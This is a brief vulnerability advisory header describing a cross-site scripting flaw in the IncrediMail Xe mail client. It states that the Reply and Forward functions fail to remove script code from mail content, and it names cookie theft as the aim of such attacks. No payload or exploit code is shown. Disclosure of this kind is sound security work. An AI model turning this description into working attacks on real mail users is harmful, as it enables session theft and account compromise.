# IncrediMail Xe (latest version) XSS Vulnerability 
#
# Discovered by :	Bui Quang Minh
#
# Description	:	The most of popular Mail Client now exclude Script Code for mail content. 
#					It aims to avoid the type of XSS exploitation (For e.g: stolen cookie).
#					IncrediMail also remove Script Code when the user read mail. 
#					However, I found the "Reply" and "Forward" function of the mail client 
#					has not handled mail content well resulting in XSS vulnerability.
